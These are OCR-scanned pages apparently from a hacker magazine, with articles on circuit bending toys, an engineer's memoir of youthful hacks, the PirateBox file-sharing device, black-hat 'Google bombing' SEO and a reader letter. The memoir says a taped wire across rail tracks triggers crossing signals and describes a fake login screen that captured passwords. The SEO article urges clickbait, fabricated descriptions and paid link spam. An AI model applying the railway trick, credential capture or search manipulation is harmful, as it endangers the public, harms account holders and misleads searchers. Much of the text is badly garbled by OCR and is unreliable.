their own working nctworJ,. set up and scale it 
to accommodate more users. Community-run 
mesh networks not only aid in helping those fed 
up with or persecuted by traditional network 
providers. but aho those who want to construct. 
experiment. and tinker. With mesh networks. 
we can build our own future of communication 
and free the network for everyone. 

2 0 1 7  H AC K E R  CA L E N DARS 
The 2017 Hacker Calendar is out! Each month features a 12"x12" glossy 
photo of a public telephone from somewhere on the planet, and nearly 

every day marks something significant in the hacker world. 

Get yours today! Only $9.99 at store.2600.com 
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by Dent 

dcntcdfun@gmail.com 
dentedfun@protonmail.ch 

recently decided I wanted to combine 
my two favorite things, hacking and music. 
Some refer to this lovely art form as ·'circuit 
bending," the process of modifying electronic 
toyl> to make interesting and unique sounds they 
were not intended to make. Of coursc. that's the 
complicated way of saying. "breaking open a 
toy and screwing around with some \\ires." ln 
this article I wall explain step by step how to 
make your own mm.ical monstrosity to have fun 
with or show your friends. 

Required Tools 
Soldenng Iron 
Solder 
Wire 
Wire stnppcr(s) 
Wire cutter(s I 
Screwdriver (of varying si1cs) 
Switch(s) 
Button(s) 
Resistor(s) 
Variable Resistor(s) 
Spendable Cash 
Alligator Clip(s) 
Drill (with varying drill bits) 

Getting A Toy 
First of all, you have to pick a toy to hack. 

The firM toy I ever successfully hacked was 
picked up from a Canadian dollar store for 
$2.50 (because apparently that's how dollar 
store'> \\Orl.). It was an electronic organ. which 
I later duhbcd the Xorgan because of us weird 
ghtchme" I suggest not spending over S 10 on 
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your first toy because there is a chance you will 
break the thing. I teamed this one the hard way 
(completely destroying a $20 talking turtle). 
Toys that make music (keyboards. xylophones, 

etc.) are in my opinion the mm.t fun to play 
with. 

Familiarization 
Next you have to familiarize yourself with 

the toy. I suggest doing this alone in a room ir 
you don't feel like explaining why anyone over 
the age of five would be playing with Ticldc Me 
Elmo. Don't be afraid to like your toy. I spent 30 
minutes playing Yankee Doodle on the Xorgan 
before I even took the thing apart. By the end of 
this step. you should know what eve!) button 
and switch does on your toy 

Dissecting Your Toy 
Now it'll finally time to expose the guts of 

your toy. Mo�t toys will have screws on the 
back which makes it very easy to open up with 
a screwdriver. If your toy. for whatever reason, 
doe�n'l have l>Crcw� on the bad., you may need 
to use other tools (X-Acto knives, pliers, etc.) 
to take the back off. After the case is divided 
and the inner workings are visible, go ahead and 
locate the circuit board. It's usually green and 
decorated with visible solder joints or, as some 
know them, little silver blobs. If the circuit 
board is screwed into place, unscrew it so you 
can move it a bit. 

Brainwashing Your Toy 
Break out your finest pair of alligator clips. 

While pressing bullons on the front of your toy 
that activate sounds/music, put the ends of your 
alligator clips on various solder JOIIlts. fr) to 
stay away from the battery pack, but don't be 
afraid to expenment! Eventually you 'hould 
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hear an audible change in the to}\ ... ound. It 
might change the pitch. the tone. or it might 
totally glitch out. Once you find thi' change. 
you may want to allach a potentiometer or othe1 
variable re\iMor to your alligator clip' an ordc1 
to .,ee how your sound changes with diffe rent 
level., of rcsi.,tance. If it sounds bellcr with the 
variable resistor, then make note that you would 
rather u�c that instead of a simple switch. It docs 
help to marl.. connections you like on a printed­
out picture or your circuit. but it isn't necessary 
a., long a., you know what you touched. 

Wiring It Up 
"'ow that you·,e round �omc good conncc­

tiOil\, ll\ lime to make them pcnnancnt \Ciling' 
in ) our toy. Take out your !>Older and -.oldcring 
iron a-. well a' -.ome wire. Cut a length of wire 
that you hntl ... uitable and strip the ends so that 
you can solder it all together. Where one end 
of your ulligator c.:lip was. attach your wire. 
Try to u-.e thin solder so as not to bridge any 
solder jotnh you didn't intend to. Solder the 
other end to a 'witch (or variable n:'i'tor if 
you pr..:fer) Repeat thi' proces' "'ith another 
"'ire on the other -.older joint. attaching 1t to 
the 'ame -.watch. TeM it out. Switch m hct,�cen 
your cu.,tom \ound and 1he nom1al 'ound II 11 
bn't working. de-!.oldcr your connection\ and 
try again. Congrawhnions! The hard part I\ now 
over anti you've already got something rc;ally 
cool to -.how off. All we have to do now as mal-a: 
your toy look a little more pretty. 

Stitching Up Your Toy 
While you may be tempted to walk around 

\\ith }OUr toy gul'> making cool sound\. at\ a 
lot neater to put the case back together "Hh 
your nc\\ ly installed switches on the out'> ide 
of the case Take out your drill wilh a drill bll 
about the site of the shaft of your switch/vari­
able re.,.swr. Drill a hole in one of the ends ol 
your ca-.c. and po�c the switch/variable rcsi\tor 
through. Tighten it with a washer and a nut 
(which usually comes with the component). 
Screw the case back together with the silme 
screws you too� out earlier. and play with your 
new smands. 

Labeling Your Toy 
All that\ needed arc a few optional tin,al 

touche�. It help' to write the direction that your 
.,witch "'itchc' in with permanent marker I 
abo like writing funny phrase., and lltlcs on the 
out,idc of my ca-.c. 

Conclusion 
In conclu,ion.making mu,ical mon,lro,ities 

is a fun and cool aclivit) SnmL'Iarnc\ )'OU might 
end up \\tlh :rour next favorite instrument. The 
hcst part is the fact that what you've created 
exi't' nowhere else. No other :>erson will eva 
have what you've made unle'' you give it 10 
them. Show off your loy on 1hc Internet . and 
teach others how to make 1hcir own. Have a 
great time with your new musi(;tl instrument! 

l'he(ront ofmv Xorgon. ht•mlfi{ully labeled. 
(I remmwl rhe black ken ht•t·au.\c they didn i 

makt• an\· not.\ I'.) 

The hack of my Xorf(on. nmtt.ininf( a .1witch 
with tiU' direction labclcd. l a'\O iahl'l('(/ the 

hullery pack "mmwy" ht·ccnlc' monc•y is 
power (bculum l\15\), 

Links 
htLp : //clrcuilhErd<rs . co . uk/ ­

a cool �itc about circuit bendmg 
http : / /www. Hlli theory . com/ 

•soundart/r1rcuttbend/ - a great 
place to start circuat bending 

h t  s : w w . a m  z o n . c o m /  
•Circuic -Bend1ng-Ins truments ­
•E x t r e m e T e c h - G h  z a l a - Paper 
•back/dp/BOll YUBHKG/ref s r  1 2 
•?ie UTF8&q1d 14 7069 202 · a \Cry 
expcnshc but vel)- infom1ati'a.: book aboUI the 
art of circuit bending 
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Many years ago, in a small Texas 
cowtown far, far away (now the home of the 

Texas Rangers, Dallas Cowboys, and Six 
Flags), I introduced myself to hacking. This 
was long before personal computers, cell 
phones, and other examples of current tech­

nologies. As a young, curious, mischievous 
kid, I would hang out with buddies near the 

railroad tracks that connected Fort Worth and 
Dallas. At the corner of Abrams and Fielder 

Road, now an overpass above the tracks. was 

a complicated meeting of crossroads and a 
railroad crossing. I began to wonder how the 
train crossing guard rails knew that a train 

was approaching and that it was time to start 
the lights flashing, the bells ringing, and the 

crossing rails to come down to prevent cars 
from crossing the tracks. I took a close look 
at the electrical control box that was locked 
near the crossing. Not wanting to break in, 

I looked for the simplest, most elegant solu­
tion. Having limited knowledge of electricity, 

I was still able to determine that the train 
must complete a basic electrical circuit since 
the train wheels consisted of a conducting 

material. I tested my junior high theory with a 
length of wire anti some tape. I taped the wire 
across the tracks and the fun soon began. The 
barriers came down ,  the lights came on, the 

bells rang, and traffic came to a screeching 
halt... for hours. For several hours, I sat at 

that intersection watching traffic back up for 

miles. The police finally showed up, followed 
by railroad personnel and the hack was soon 

discovered and corrected. This made the 
local news and I was hooked on hacking. It 
was the thrill of taking a system or device 
and making it work differently and unexpect­

edly that was the adventure. How can I make 
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something better? How can I make it behave 
differently than it was originally intended? 

So ... how does it work? 

There are several electrical circuits that 

arc made with the rails themselves on each 
track at the crossing - an island circuit and 

the two approaches. Most consider a train 

completes an electrical circuit, and this is 
what starts the process. In reality, this is 
incorrect. It's actually a DC circuit, in which 

a relay is continuously energized by a battery 

and held by electromagnetic forces. When a 

train nears the intersection, the wheels short­
out that circuit. and the electricity doesn't 

make it to the relay at the road. The relay 

loses energy and "drops," which causes a 
set of contacts to touch, triggering the signal 
lights through a succession of relays. Newer 

technology exists today using motion detec­
tOrs, however in many locations throughout 
the U.S., a piece of wire and some tape will 

still do the trick. 

Wanling: By the way, tampering with or 
vandalizing a railway signal or related equip­
ment is a serious federal crime and violators 

may face terrorist charges. Fortunately for 

me, the statute of limitations has long since 
expired. 

A lesser junior high hack was a way to get 
free games on a particular pinball machine. 
This specific machine was located in a pool 
hall near the university campus. The machine 

was called "Domino." It was connected to a 

jukebox and every time an extra game was 
won. the jukebox was configured to play the 
song "Domino" by Van Morrison. When­

ever the proprietor was out of sight, two 
loud "pops'' could be heard from the pinball 
machine, indicating a free game, and the 
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next song played on the juke box would be viduals and/or teams; assisted in the devcl­
"Domino." The first pop heard was my fist opment, operation, and/or improvement 
giving the analog score display a whack of training programs of supported activi­
which would rack up a few thousand points tics: and constructed. devised, or obtained 
and the free game (second pop). To this day, training aids. This included everything from 
whenever I hear that song it takes me back to a projector to a flight simulator. 
that pinball game. I got very good at it and As a ''TD'' technician for a Navy Emer­
eventually didn't need to resort to the "hack" gency Ship Handling Simulator, I learned 
to win a game. the ins and outs of the Systems Engineering 

Other future hacks came as a result of my Laboratories 8 1  Oa computer, both hardware 
advanced electronics training that I received and software. This is where r got hooked 
in the Navy. For example, 1 appropriated an on operating systems and software. I taught 
old television set that used a picture tube myself the machine language of the device 
utilizing deflection coils, horizontal and and created simple games that required the 
vertical, to determine where the beam would user to input the answer via the front panel 
strike the cathode ray tube. The CRT was a toggle switches. When I came across the 
vacuum tube that contained one or more clcc- assembler tape, you would have thought I 
tron guns and a fluorescent screen used to had struck gold. It made programming so 
view images. It has a means to accelerate and much easier. I began to craft more e) abo­
deflect the electron beam(s) onto the screen rate, beneficial programs that assisted in the 
to create the images. The images may repre- troubleshooting of the system - reducing 
sent electrical waveforms, pictures (televi- downtime. Of course, the games became 
sion). and radar targets. more extravagant as well. I was able to try 

A deflection coil is an electronic compo- my hand at Tic Tac Toe and Checke rs. After 
ncnt and part of the electron gun assembly completing my hitch in the Navy, I returned 
in the CRT. One coil controlled the move- to that old cowtown to use my VA benefits 
ment of the beam side-to-side, while the to further explore the new field of computer 
other contl·olled the vertical movement of science and engineering. 
the beam. The side-to-side movement of While a computer science student, I 
the beam, known as horizontal scanning. worked at the university computing center 
produces a horizontal line. ln order to create part time to offset the expenses that my GI 
a raster. each line has to be repositioned one bill didn't cover. While there, I was able to 
step below the next. In this way, a complete show how insecure the campus system was. 
raster consisting of 625 lines forms the basis Although the financial mainframe was sepa­
of a single frame of an image. Another deftec- rate from the student and faculty machine, 
tion coil is part of the vertical deflection the switchboard for that system was simply 
circuit. By tapping off of the left and right mounted on the wall in the university 
channels of a stereo system and connecting computing center where many had easy 
them to these deflection coils, I was able to access. The insider attack would have been 
create a cool visual display that responded a cake walk, especially since auditing. at the 
directly to the music. time. wasn't something that was considered 

In the Navy, l started out as a Tradevman a requirement. The students and faculty used 
(Training Device Man.) Tradevmen installed, dumb terminals that connected to a main­
repaired, modified, and maintained audio/ frame, an IBM 370. The cabling carried the 
visual training aids, including instructional bits and bytes across campus via the under­
films, slides, and recordings; performed ground steam tunnels of which many were 
organizational and intermediate level main- laid by me and my student colleagues. These 
tenance on training devices; operated and cables were connected via phone boxes 
performed organizational maintenance where we had to use connection testers to find 
on equipment used in conjunction with a vacant line. The test equipment was nothing 
training devices and ancillary equipment to more than a handheld phone with alligator 
train and maintain the proficiency of indi- clips to connect directly to the phone box. 
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Of cou rse, while searching for a legitimate 
unused line. we invariably heard some very 
interesting conversations along the way. 

As for the campus terminals themselves, 
it was child's play to retrieve usernames 
and passwords from anyone using any of 
the variou:, terminals that could be found in 
numerous buildings throughout the campus. 
I wrote a simple program that emulated the 
normal login screen. captured their informa­
tion, then informed them that the terminal 
was going down. all the while saving their 
data and logging them off, only to wait for 
the next victim. This was demonstrated to 
the system programmers who quickly moved 
to correct this security fault. On the same 
system. access controls were nonexistent. 
I demonstrated that it was a breeze to copy, 
edit. or delete any file in any user directory 
without any special permissions or a privi­
leged account. This included homework, 
exams, theses, and dissertations. This too. 
was quickly corrected by the system folks. 

So where does this leave me? So what's 
the difference between a '·hacker" and an 
'·engineer?" My answer is none, if you're 
good at both. To be both, you have to thin!.. 
outside of the norm. outside or the box. You 
have to envision without constraints. You 
have to challenge the boundaries of design 
and allow creativity to spawn ideas. regard­
less of how ridiculous they may seem at first 
glance. 

Now, don't get me wrong. I'm not an 
advocate of criminal activity as it refers to 
''hacking.'' Anyone can usc a legitimate idea 
and bastardize it for nefarious purposes. I'm 
talking about using new concepts to improve 
our world. This may sound overly ambitious 
and pious. but this is what folks like Testa 
did. The same principles apply to the advance 
of re�earch and de,elopment as they do for 
the deviant behavior of criminals. The initial 
thrill of the successful hack can lead to an 

immediate patch to prevent the vulnerability, 
or it can lead 10 the withdrawal of thousands 
from your grandmother's life savings. It's a 
matter of choice. The typical definition of a 
hacker is that of a perpetrator who illegally 
invades computer systems with the intent of 
carrying out illegal undertakings. Hacking 
has become a term that is defined as the 
unlawful access and the use of someone 
else's computer for felonious activity. Now 
I'll grant you that my taped wire across the 
railroad tracks and the free pinball games 
were, in fact, criminal acts but they were 
not done with reprehensible intentions. My 
goal wasn't wicked. My desire wasn't to 
make a living from the hacker instigated 
misfortunes of others. My objective was to 
simply satisfy my technological curiosity 
which created an enthusiasm for technolog­
ical innovation. There is a huge difference 
between the playful demonstrations of exper­
imental modifications and that of the lawless. 
unethical individual that doesn't consider 
the abusive e ffectS of their hack upon the 
unarmed individual. 

At any rate. this is where it all began for 
me. It stems from a desire to know more 
about how things work around me. How 
can I make it better? What makes it tick? 
Why was it done "that" way? Could it be 
done "this" way? Throughout the years, my 
mantra has remained to always look for the 
simple answer ... the elegant solution. It's 
there waiting for you. 

Scott Everard is a senior security engi­
neer ll'ho has experience as a systems 
programmer working with Fortran. C. and 
assembly language 011 multilevel operating 
system.\ and databases. Narrowing his exper­
tise to security, he has supported cybersecu­
rity pro jeers for the Coast Guard, Air Force. 
Army. and Navy. Scott is a retired Nm·y fire 
controlman chief who enjoys his l(fe ll'ith his 
wife Debbie, his kids, and his grandkids. 
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by SideFx 

From www. piraLebox . cc: "PirateBox 
solves a teclmicallsodal problem by providing 
people in lhe same physical space wilh an 
ea.n 11'111' fO anonymousll· communicate and 
exdumge files. Th is ohl'ious�1 has larger 
cui/ural and polilical 1mplicalion.� and thus I he 
PiraleBO.\ also serves as till arlislic proi'Oca­
lion. " This - along v.ith a love for pirate radio 
- is the developers' FAQ answer as to why 
PiratcBox was created. "Pirale8ox is inspired 
by I he free culture am/ pirale radio movements. 
The name is a plaJful remu:mg oft he Iitle of I he 
world.\ mosl resilienl BiiTorrem sile. The Pirale 

Bm� ·· 
Pirate Box i� hacking the <,ystcm and creating 

your own system. It's an ingenious program 
you can burn to an SO card and operate from 
a Raspberry Pi in addition to other platforms. 
In a nutshell. with a battery powered computer 
the s1zc of a cigarette box and a few add-on 
component\, you create your own anonymous 
\� 1rcless tile sharing, chat room. and forum. The 
potential for thi� little network is far reaching in 
many arenas. "Along wilh (�f]/ine file sharing, 
media srreoming, and col/lllltlllily building, /he 
Pirale!Jo.\ has been used by musicians 10 share 
rheir music lll Jeslivals and gigs. by teachers 
111 d/.\lribllle and col/eel dixiwl molerials from 
\ludell/.\. hr emergency re.1pome workers and 
I'Oiuman to publish local first aid informal ion 
and commtmiry updares. 11 has also been used 
bv librarians and wnlers ro co/leer, .wore. and 
disrrilmre elecrronic texts, by conference orga­
nizers 10 distribwe conference ma/erials and 
10 prm•idt' local wireless commenting during 
pre.\t'llllllions. PiraleBox lw.1 al.m been used 
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by coworkers collaborarin� on projecls, and 
by CryproParty workshop lnulers to securely 
.1/rare cryplograplric keys." 

With the Raspberry Pi, you can be up and 
running in very little time. All you need is the 
Ra�pberry Pi computer. an SO card, a USB 
Hash drive, and a USB Wi-Fi. The down­
loads and instructions arc available online at: 
htlps : //piratebox . cc. Follow the 
setup sequence - there arc some important steps 
to get it up and running correctly. "PiraleBox 
is free (as in ji'eedom) hecause il is regislered 
under lhe GNU GPLI'3." You can modify and 
improve PirateBox too. There arc a number of 
great modifications available on the PirateBox 
websue. One of these mods moves the forum 
and file storage to a USB stick. The enure 
system can reside on the SO card, but using a 
USB nash drive is best. This way you can easily 
edit, add, and delete content. 

Imagine being on a night with no movies 
or entertainment or Wi-ri .... But you do have 
a P1rateBox. You tum it on and now everyone 
with a laptop, phone, or tPad has access to an 
anonymous chat room. forum, and file sharing 
service.... Fortunately for the entertainment 
deprived, you have Wayne :f World, Hackers, 
Wag The Dog, etc. on your SO card that now 
everyone can enjoy. In addit1on to movies, you 
can More pictures, mus1c. documents, and many 
other file types on the Pirate Box. 

The PirateBox layout is quite simple. The 
mam page on the dcvtcc has an explanation of 
what it's all about, wh1ch can be removed to 
economize space. There arc links to the Forums 
page and Files page as well as an "About" 
button. PirateBox's latest edition has a meter 
to show used space on the flash drive memory. 
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There is an open anonymous chat space on the main page that allows you to use an alias name and 
color the text of your posts. The chat room is automatically reset and deleted when the PiratcBox is 
turned oiT(therc is a modification setting to retain the chat info too). 

The Forums page is just that. It's still anonymous, but a permanent record of ideas i� kept. The 
Forums allow subjects and replies, etc. With the password (created in setup by the root user). offen­
sive, stupid, and old forum material can be deleted. 

The Files page shows the files that you have on your flash drive. File� can also be loaded to the 
flash drive directly from the upload link on the main page. 

From most any Wi-Fi device, phone, iPad, computer, etc., you can connect to the PirateBox 
and share in anonymous social media. Go to the Files page, click on a song or movie, and instantly 

you're streaming to your device. Share your favorite files, pictures, video. documents. Your actual 
unfiltered thoughts can be shared in the chat room or in the perhaps more con>tructive forum. With 
its small profile and varied uses, it's hard to go wrong with the PirateBox. 

�PIRATE Home 

Welcome 

No..l'ln'lrJ! ,tt>r'fr>lllfllt?w�Qiii:Q-'crw..,.�on�• 11'1,tsiiCKQfpiOke'olt'IC'tl!''f'WUn<r•M'I!I!hti•NI!1'*'�.-0JM'fO'J aN"Y""•v•IY' Pfft an 
CJ'f� �. 1PK.-,Cie"9� 111"1!1�11101' lllf'..nlrtlg ..UCIUf M>Mtes S.� Offtf-t gnd, G()f«aAonto omt(WI -:,. f Mlrl� ,,._.f\1'.(' fVI 
U..C..,pif pll!.:nJtH'tl'f .. IDIIIW'Jif¥1'tM'JOUM.f>{l*l' 

Chat 

� .... -. .,.. _ �,...­
,_......,o.e_-.. .. � 

• 
Upload 
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by Garrett Mickley 
garrctt@garrcttrnicklcy.com 

I'm \Hitmg this JU't a couple of hour' after 
Governor Ru:J.. Santnrum announ<.:cd his bid 111 
the: 2016 rresidential race. Politkal commen 
tary aside, many of you may rcmcmhc:r a frothy 
mess he got tossed intu during his last presidcn­
llal run. For those who don't remember or don t 
�now: there w<Ls a rcriod of time where you 
could type "Santorum" 11110 a Goog.lc search 
and the SERPS (Search I ngine Re,ulh PageS) 
would return sometlung ... erm .. 'ot Safe F01 
Work. 

Whether you usc Google. Bing. Du<.:k 
DuekGo. or another search engme (Tumhlr. 
FacebooJ... YouTube. Jnd other \\CINtes that 
have built 1n search engines). the order of 
display i� not :1rbitmry E:1ch search engine ha' 
ih own super secret algonthm that decides what 
\\Cbsites arc 'o good that they descrv.: to he 
fi r�t.  and \\hat sites suck so bad that they're not 
even allowed in the top ten pages Some �ites 
even get "sandboxed.'' whtch uwally happc:ns 
when you get busted trying to game the 'ystc:m. 
It\ prctt) thllicult t\1 come bacJ.. from that 
ban-hammer. 

In this article. we'll be discuS\ing Google\ 
methods - hence the tcrnl "Google Bomh"' -
moMiy because Goog.l.: Mill holds above 6X 
percent of the search market share (at the t1 rnc 
ot writing th1s). 

there Thts act is ,1ctually a sJ..ill that can be a 
career. called Se<arch Engane Optimitation 
(SEO). which is \\h;tt I've been doing profes­
sionally the last ctght or more years of Ill) 
life. This is gcnerall} a skill that takes year' to 
develop as it changes pretty frequently, and so 
you'll need to develop the ability to recogni1e 
the kmd of things that will worJ... won't \\Ork. 
and ho\\ to uuli;c nc\\ tool\ ,md v.ebsitc:s in 
your favor, and adapt quic�ly. llowever, once 
you le:trn the sl-..ill set. it will no doubt benefit 
anyone "ho usc' th.: Internet and also has 
somethllll! they want ()(her people to sec on the 
Internet. So. I'm going to brcaJ.. it down to the 
ba<.ir principles in this article. 

This is pretty dangerous as you <.:ould get 
) our \\Cbsuc sandbox.:d or posSibly sued for 

defamation depend1ng on \\hat you do with this 
1-..nowledge. I recomma.:nd you do nothing with 
it but shch c it away tnto your mind as amusmg 
infonn.atlon A lot of these techmques have been 
<.:Onsldcrcd very bad oy the big G (Googlc. not 
God or Government) and I do not personally do 
them (;mymore. I'\C gone str;ught). but they do 
or ha' c worJ..ed at one time. 

Doing the Deed 
Plan Ahead. Whatever it is tha.-s being 

Google Bombed. you need to hgure ll out ahead 
of time. For the "'�c or example. we'll Googlc 
Bomb the search term "The 26<Xl Hacker Quar­
ter!} 

.. 
'' llh a 'ideo or Rick Astle) \inging our 

ravorllc song: ""!\l·vcr Gonna (,1ve You Up." 
What Is A Googlc Bomb'? (I'm not g.omg to m:tually do thts.) 

A Googlc Bomb is when you usc techniques Selling Up The M1·dia. Sin<.:e we're us1ng a 
tn optim11c a page. 1ma�c. v 1deo. or other med�;L ,·ideo lor this example. the liN thing l need to 
to appear in the SERPS e\C:n if it doc:sn "t belong do is maJ..e sure: the v1deo is properly titled after 
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the term I want it to ran!... for. The term is "The We don't have that option here because our 
2600 Hacker Quarterly" so I changed the name video isn't actually related to our keyphrase, so 

of rickroll_youtuber5468541 654ip.mp4 to The- we' II have to make up some Mull. Shoot for a 
2600-Hacker-Quartcrly.mp-l. This is called an minimum of 100 words. but the more the better. 
SEO-Friendly file name. If we were doing an Make sure it\ keyword-rich. meaning it u�es 
image. it would be The-2600-Hackcr-Quarterly. the keyphrasc enough that it's clear what the 
jpg (or whatever file type). Were it a web page, paragraphs arc talking about, but not so much 
we would want the URL to be SEO-Friendly, so that it seems unnatural. 
it would be hllp://www.e.xamplesite.com/fhe- You'll also want to add in closed captioning 
2600-Hackcr-Quartcrly/. What's important is if you're working on ranking a legit video 
that the filename has the entire search term in about a topic. This adds accessibility to those 
it. with hyphen!> where the spaces would be. and who are not priv1lcged with the ab1lity to hear 
nothing else. as well as the rest of us, and acces,1bility helps 

Uploading to the Web. So we've got our a lot in ranking. I f  you take time to care about 
2600 Rick Roll video set up for success. Next other (less privileged) people, turns out you get 

is to upload the video to the web so it can be rewarded for that. Who would have thought 
viewed and shared. YouTube is currently the being a decem human being would pay om 
second mo<,t popular search engine on the Anyway. if you were working on ranking an 
Internet (at the time of writing this). so that's 1mage on a website. you would usc the "alt" 
going to be our primary source. Also, they male IITML tag to put in a description of your image 
sharing really easy. with the kcyphrase, so that blind people will 

You go to You Tube (or other video website) know what the image b. 
and upload as normal. You want to make �ure Then we've got tags we can add. You want 
the title of the v1dco has the keyphrase in it. but to type in every single possible tag you can 
al�o be somethmg clickable (we want people think of. All of them. We're gomg to put in 
to view and share the video). Feel free to usc our keyphrase first, obviously, every variation 
cfickbait. You may hate it, but the fact of the of that, and then shon and long keywords like 
matter b it works. A good example would be "2600" and "the 2600 hacker quarterly maga-
"You Won't Believe What The 2600 Hacker ;ine digital format". Anything you can think of 
Quarterly Pubh�hed THIS Time!'' Ideally. you that you assume will be searched Now. if we 
want the keyphmse to be a� close to the front were doing th1s professionally. we should do a 
of the title as possible, but that's not the most strong level of keyword research IJrst. but that's 
important thing. What's mo re important is that another thing that l don 'r have enough room to 
the title reads legibly and make� �cnse, and is write about here. 
also enticing to the potential reader. Part of the Throwing it in a playlist helps too. if the 
mnking metric in YouTube and Google is how playlist title is applicable. Better yet. let's 
many people view your \ideo, and how long make a new playhst with a similar. but slightly 
they watch it for. Being that thb is a bait-and- different, keyphrase. Let's title the new playlist 
switch prank, it'll probably hnve a high bounce "2600 Hacker Magazine". That should do the 
rate (people hitting the back button after only a trick. 
few seconds). which is bad, but we 'II use other Hit publish and wait for the embed code. 
metrics to help us rank it regardless. Were you For an added bonus. repeat these steps on as 
working to rank a legitimate v1deo. you presum- man} public v1deo sharing websues as you can 
ably wouldn't have any issues with bounce rate think of. Yimeo is another good one that comes 
unless your video just absolutely sucks or is not to mind. 
what you advertised. [Black Hat Tip: I don't want to get into the 

In the description. you also want to make difference between black hat SEO and white hat 
sure you have the keyphrasc close to the begin- SEO (and gray hat SEO) because that's an entire 
ning. and some more content describing the article in itself (trust me. I've written that article 
video. Since we're doing a bait-and-switch before), but here's a tip that is moM certainly a 
prank, you'll have to make some stuff up. black hat technique. At the time of writing this, 
You don't want to just cram a bunch of lorem YouTube has been promoting their new live 
ipsum in there. but you want as much informa streaming service. which has a flaw in regards 
tion � pos\ible. Were you doing a legit video, to ranking. The trick is that you \kip the above 
one thing you could do is throw in the content SEO techniques about the file name and closed 
that would be used as closed captioning. too. captions and stuff. and instead of uploading 
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your video to YouTube the normal way, you 
'et up broadca,ting software like Wirecast or 
Open Broadca\tcr Soft,varc. and then play the 
recorded video as if at were live. Put your key 
phrase in the Litle, description . and tags �ection 
a\ normal. For some rem.on. Google thought 11 
would be gn:at to give the\e types of ndeo' .m 
overpowering amount ortevcragc in the SERP' 
for ranking higher. Not only that. but they tend 
to stick for months (I've got videos ! .. uploaded .. 

eight month' ago still ranl..ing on the fir.L page 
ofGoogle).l 

Post It Ea•ervwhere. We've got a link to the 
video and the embed ctxle, �o the next step as 
to post it everywhere Search cngancs. espe­
cially Goo�:tlc. rank things based on how many 
other web�ite� are talking about it (that ·s a vcry 
vague explanation and a lot more goes into it. 
but that's r.:all) the mmt basac principle). Thcre 
are different ways this could happen. There are 
backlinks. which b a hnl.. from a website. and 
there arc social signals. which would be a Like 
on Face boo!... an RT on Twmcr. or an Up Vote on 
Rcddit (among other thing� such "" comment' 
and replies). These backlinl..s and M)(;ial signal� 
tell the search algorithm that people around the 
lntemet l il..e the thing. whatever iL lS 

A link to the video " going to help a lot. but 
what's even hcuer (and thi!. is unique to Google 
Bombing videos) is the embed code! You want 
to use the embed code ;anywhere you can to get it 
out there. and preferably on releHtnt pages. For 
example, I'll make a page on my own personal 
website with an SEO friendly URL like we 
discussed earlier. emlx.xl the video. and beiO\\­
the video have a new. unaque. �>hon description 
of the video. We want 11 to be unique becauM: 
duplicate content is bad and will hurt our ranl..­
angs. lt"s worth noting th;tt mal..ing I 00 pages 
on the same \vebsite and embeddang the video 
on each one i'> not goang to help. ttnd could 
possibly hurt your rankings. We want variu 
tion. so po'>t on lots of different wcbsllcs. Some 
social networb. such as Tumblr. allow )OU tu 
post the embed code. 

Speaking of Tumblr, let's talk ubout social 
media websites. Tumblr is my favorite tool for 
m;arl..eling (I wrote a boo!.. about this. but I'm 
not here to promote myself) because at prondes 
both back link� and social signals. and is a great 
wtty to get your content shared around by other 
u ser. '' ath ah quicl.. and Cas) n:blog fe;ature. 
Other gre:ll social medaa webslles to post on. 
Twitter, Rcddit, public raccbook pages, and 
even public Facebook groups. Usc tagvh;Lshtags 
where appropriate. and anywhere yuu can. \Hite 

a new and unique J..cyword rich description for 
the vadco 

Important!!! Whcn you·re linking to the 
video without the emhcd code. you'll need the 
text of the hyperlink (known :ts ";mchor text") 
to be your J..eyphr.l\e, \arimion" of. or vari:t 
lions or the t;RL H-elL lt"s am port ant Ill ha\ e 
variety. but I usu:ally go with thc 60/-10 rule: 60 
percent of the linb will have thl! anchor text 
be the rnaan ke)phrase. and -10 percent wall !1<: 
vari;ations of the J..e)'phra'e a' well a' variations 
of the URI.. When I "'> variataons of the URL. 
here arl! some examples: http://youtubc.com/ 
video. ymnube.com'' idl!o. hltp://www.)outube 
com/' adco. w ww.youtube.com 'adco. 

Whale you·re linl..ang thas around Lhl! \vch. 
let's close up by hittmg some forums. Throw 
:t lin!.. to your 'idco an your timam signature 
(public forums prefcmble a' pm:ltc forums arc 
mrel) indexed by 'carch engines) and go atxmt 
using I he forum a� usual. The link will automati­
cally and naturally be "pread. You can abo do 
'omelhang "'milar by commentang on artaclcsl 
blog JXl�t' throughout the wch. Usually when 
you comment on a wch,ite, such a., a Word Press 
or Bloggcr built wch�ite. the comments "cc.:taon 
asks for your name. email. and 'lie. In the sue 
text ho:><. you would put a lin!.. to the video 

]!jlack Hat Tip: There is also "blacl.. hat" 
software that creates bac.:klinks and S<)(;aal 
"'�mals for you. but this ,oft\\are is mostly 
cxpensi\e lor ' arious reason!>. Thankfully. there 
arc a few websites out there where you can hire 
people for very cheap. sa}. five dollars, and they 
;already own the sclft\\are and would be thrilled 
to help you buald up hnks and '<)(;ial sagnab. 
Not only that, but )OU can also hare people to 
write out all those unique video de�eriptions 
you nceJ II inng a \\ nter is not a hlacl.. hat tc�h 
nique. but it 'eemcd In lit in thl'- paragraph "ince 
we're already talking utx1ut hiring peopil.: to do 
stu fT for us.] 

Ami... that\ it Ncm we \vait for the rank­
angs to cmnc. If )OU repeat the "teps as much 
as JX>'-sahle. you"ll r.anl.. higher. and JX>s,ibly 
faster. bu1 if you do it too much you'll be seen 
as spam and lose )OUr rankin!!'· lt"s hard to hnd 
that balance and at's going to be different for 
ever) kc.:yphr:u.e you II) to mnl... One technaquc 
is to M:t a goal of linb builL per clay, and then do 
that consistently untal you rani.. 'vhcre you w;ant 
to. and then contanue to do at consl\tCntly for as 
long '"' you wanl to ''·'> in that 'Pol (or move 
up higher). 

That. my friend,. i' how you hac!.. "eareh 
engine rcsults pages. 
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Ojj(mngs 
Dcur 2600: 

I gn:w up on 2600. prohahly ;,tarted buymg 
<1ntl rc01tling them 111 middle M:hool! Learned 
some fun stu IT. Would he grc;ll l\l contribute back. 

Perhaps a summari1ctl 'cr"on of my recent 
\1<t)!Stx>of project'1 h's a wireless credit card/ 
ma)!slnpc spoofer. 

The "rite up b <tl hup://sam) .pllmagspoof/ 
llowever. if you <tcccpl this a' a submb,ion. 

then I'll lil.e 10 make a comlcnsctl version for the 
llllC ;�no t<tilor i t  further to the rc<�ucrs. 

Thank;,! 
Sam) 

/111.1 i.1 indeed a gn•llf project, 1>111 it\ ulrt•aclv 
l>en1 puhlici::.ed a gn·w tkal on tlw nt·t unci 1n• 
doubt thae\ much IH' nm adcl 111 it 111 thi1 poim. 
